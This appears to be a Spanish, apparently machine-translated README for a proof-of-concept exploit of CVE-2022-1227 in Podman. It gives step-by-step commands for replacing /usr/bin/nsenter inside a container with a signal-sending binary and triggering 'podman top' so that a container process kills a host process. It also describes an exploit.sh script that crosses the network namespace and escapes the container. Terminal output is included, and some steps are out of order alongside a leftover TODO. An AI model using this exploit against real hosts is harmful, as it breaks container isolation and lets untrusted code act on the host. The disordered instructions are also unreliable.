
Un script para explotar CVE-2022-1227
Un script para explotar CVE-2022-1227.
20.10.4.0.0; se recomienda 3.4.4.TODO: agregar cuál es el principio de esta vulnerabilidad
Siga las instrucciones del documento oficial: https://podman.io/getting-started/installation#installing-on-linux
Para Ubuntu 20.10, el comando de instalación debería ser:
sudo apt-get install podman=3.4.4+ds1-1ubuntu1
En esta sección probamos un PoC simple para romper el límite del espacio de nombres PID y kill a un proceso en el host.
Estos son los pasos:
Ejecute un contenedor con el siguiente comando: podman run --userns=keep-id --rm -d ubuntu:latest sleep infinity
Ejecute keep en ./exp/bin y obtenga el PID con el que se está ejecutando. Normalmente mostrará su PID en la terminal. Como el binario está configurado para dormir durante 600 segundos, tal vez deba ser rápido para completar los siguientes pasos.
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./exp/bin/keep
My process ID is: 7719
Put this number to `PID` in the sendsig.c and compile!
Edite el código fuente en ./exp/src/sendsig.c e ingrese el PID obtenido en el paso anterior en la variable pid.
int pid = OLD_VAL;
a
int pid = 7719;
Coloque el binario compilado en el podman interno: podman cp ./exp/bin/sendsig $container_name :/usr/bin/nsenter
En esta sección, utilizamos sockets para realizar la comunicación de sockets entre procesos entre el cliente en el contenedor y el servidor en el host, lo que normalmente es imposible cuando el mecanismo de aislamiento está completo. Usamos esta vulnerabilidad para romper el aislamiento del espacio de nombres de red para realizar este exploit.
Primero, entre al directorio con cd ./exp;
Simplemente ejecutando ./exploit.sh, todo se hará automáticamente; si todo sale bien, el servidor mostrará:
Hello from the container!
Significa que cruzamos el espacio de nombres de red y escapamos.
Ejecute podman top para activar la vulnerabilidad con: podman top -l
Si todo sale bien, el proceso en ejecución keep será eliminado inmediatamente. Esto es inusual, porque normalmente los procesos dentro del contenedor no pueden enviar señales a los procesos en el host debido al aislamiento del espacio de nombres PID.
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./keep
My process ID is: 7719
Killed